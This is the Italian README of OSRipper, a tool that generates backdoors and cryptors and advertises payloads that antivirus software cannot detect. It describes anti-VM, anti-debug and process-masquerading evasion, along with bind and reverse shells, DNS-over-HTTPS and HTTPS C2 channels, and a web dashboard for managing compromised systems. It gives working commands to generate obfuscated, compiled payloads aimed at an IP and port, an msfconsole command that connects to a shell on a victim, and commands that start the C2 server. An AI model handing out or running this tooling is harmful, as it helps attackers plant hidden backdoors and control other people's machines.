OSRipper v0.4.2

---

Panoramica

OSRipper è un sofisticato generatore di backdoor e cryptor completamente non rilevabile (FUD), progettato per test di penetrazione autorizzati e operazioni red team. Dispone di tecniche di evasione avanzate, molteplici tipi di payload e un'interfaccia C2 moderna basata sul web per la gestione dei sistemi compromessi.

Punti Salienti

• Completamente Non Rilevabile (FUD) - Tecniche di evasione avanzate che bypassano le soluzioni AV moderne
• Interfaccia C2 Basata sul Web - Dashboard moderna per la gestione delle sessioni attive
• Molteplici Tipi di Payload - Bind shell, reverse shell, DoH C2, HTTPS C2 e altro ancora
• Offuscamento Multi-Livello - Offuscamento standard e potenziato con variabili randomizzate
• Compilazione Binaria - Compilazione di payload in eseguibili autonomi
• Comunicazioni Criptate - Canali C2 SSL/TLS e HTTPS con pinning dei certificati
• Funzionalità Stealth - Rilevamento VM, anti-debug, mascheramento dei processi

---

Caratteristiche

Generazione Payload

Tipo Payload	Descrizione	Caso d'Uso
Bind Shell	Apre una porta sulla macchina vittima	Accesso diretto quando le connessioni reverse sono bloccate
Reverse TCP Meterpreter	Connessione reverse criptata SSL/TLS	Test di penetrazione standard
DNS-over-HTTPS C2	Canale C2 stealth basato su DoH	Bypassare restrizioni di rete
HTTPS C2	Canale C2 HTTPS con pinning del certificato	Canale C2 sicuro e autenticato
Payload Staged	Consegna web multi-stadio	Distribuzione stealth potenziata
Cryptor Codice Personalizzato	Offusca qualsiasi script Python	Criptazione payload personalizzata

Tecniche di Evasione

• Offuscamento Avanzato - Codifica a più livelli con variabili casuali
• Offuscamento Potenziato - Anti-debug, rilevamento VM, iniezione di codice spazzatura
• Rilevamento Anti-VM - Evasione di sandbox e macchine virtuali
• Ritardi Stealth - Ritardi di avvio casuali (5-15 secondi)
• Mascheramento dei Processi - Camuffamento come processi di sistema legittimi
• Randomizzazione delle Firme - Ogni payload è unico

Funzionalità Interfaccia Web

• Dashboard Sessioni - Visualizza tutte le sessioni C2 attive
• Terminale Interattivo - Esegui comandi tramite interfaccia web
• Generatore Payload - Genera payload direttamente dall'interfaccia web
• Gestione Sessioni - Visualizza info di sistema, cronologia comandi e gestisci sessioni
• Aggiornamenti in Tempo Reale - Esecuzione comandi e visualizzazione risposte in tempo reale

Capacità Avanzate

• Integrazione Ngrok - Creazione automatica di tunnel per IP dinamici
• Pinning dei Certificati - HTTPS C2 sicuro con validazione del certificato
• Persistenza delle Sessioni - Mantiene le connessioni anche dopo riavvii
• Coda Comandi - Accoda comandi per agenti offline
• Analisi Risposte - Analisi automatica dell'output dei comandi

---

Avvio Rapido

Installazione

# Clona il repository
git clone https://github.com/SubGlitch1/OSRipper.git
cd OSRipper

# Installa le dipendenze
pip3 install -r requirements.txt

# Installa il pacchetto
pip3 install -e .

Importante — esegui il setup per funzionalità opzionali (ngrok, compilazione binaria):
Su molti sistemi (specialmente Linux con un ambiente Python gestito esternamente), devi eseguire il setup integrato in modo che le dipendenze opzionali vengano installate nel venv di OSRipper. Fallo una volta dopo l'installazione:

osripper-cli setup

Questo crea ~/.local/share/osripper/venv, installa pyngrok, nuitka e sandboxed lì, e tutte le esecuzioni successive di osripper / osripper-cli li useranno automaticamente. Senza questo, --ngrok e --compile ti chiederanno di eseguire il setup. Usa osripper-cli setup --system solo se preferisci un'installazione pip di sistema/utente invece del venv.

Utilizzo Base

Modalità Interattiva:

osripper
# oppure
python3 -m osripper

Riga di Comando:

# Genera reverse shell
osripper-cli reverse -H 192.168.1.100 -p 4444 --obfuscate --compile

# Genera payload DoH C2
osripper-cli doh -d example.com --obfuscate --compile

Interfaccia Web:

# Avvia il server C2 con interfaccia web
python -m osripper.c2.server example.com --port 5000

# Accedi alla dashboard su http://localhost:5000

---

Interfaccia Web

OSRipper include un'interfaccia C2 moderna basata sul web per la gestione dei sistemi compromessi.

Caratteristiche

• Dashboard - Panoramica di tutte le sessioni attive
• Gestione Sessioni - Visualizza informazioni di sistema ed esegui comandi
• Generatore Payload - Genera payload DoH e HTTPS tramite interfaccia web
• Cronologia Comandi - Tiene traccia di tutti i comandi eseguiti e delle risposte
• Aggiornamenti in Tempo Reale - Esecuzione comandi e visualizzazione risposte in tempo reale

Avvio del Server C2

# Utilizzo base
python -m osripper.c2.server example.com

# Con HTTPS
python -m osripper.c2.server example.com --https

# Porta personalizzata
python -m osripper.c2.server example.com --port 8080

# Con certificato personalizzato
python -m osripper.c2.server example.com --https --cert server.crt --key server.key

Accesso all'Interfaccia Web

Una volta che il server è in esecuzione, accedi alla dashboard su:

• HTTP: http://localhost:5000
• HTTPS: https://localhost:5000 (se abilitato)

---

Tipi di Payload

1. Backdoor Bind Shell

Apre una porta sulla macchina vittima e attende connessioni.

osripper-cli bind -p 4444 --obfuscate --compile

Connessione:

msfconsole -q -x 'use python/meterpreter/bind_tcp; set RHOST ip_vittima; set RPORT 4444; exploit'

2. Reverse TCP Meterpreter

Connessione reverse criptata con SSL/TLS.

osripper-cli reverse -H 192.168.1.100 -p 4444 --obfuscate --enhanced --compile

3. DNS-over-HTTPS C2

Canale C2 stealth che utilizza il protocollo DNS-over-HTTPS. Bypassa molte restrizioni di rete.

# Genera payload
osripper-cli doh -d example.com --obfuscate --compile

# Avvia server C2
python -m osripper.c2.server example.com

Caratteristiche:

• Comunicazione stealth basata su DNS
• Interfaccia web per la gestione delle sessioni
• Persistenza automatica delle sessioni
• Coda comandi per agenti offline

4. HTTPS C2 (Pinning del Certificato)

HTTPS C2 sicuro con pinning del certificato per l'autenticazione.

# Genera payload (tramite interfaccia web o CLI)
# Avvia server C2 con HTTPS
python -m osripper.c2.server example.com --https

# Ottieni l'impronta del certificato
curl http://localhost:5000/api/cert-fingerprint

Caratteristiche:

• Pinning del certificato per la sicurezza
• Comunicazione HTTPS criptata
• Integrazione con interfaccia web
• Gestione sessioni

5. Payload Staged

Consegna web multi-stadio per stealth potenziato.

osripper-cli staged -H 192.168.1.100 -p 8080 --obfuscate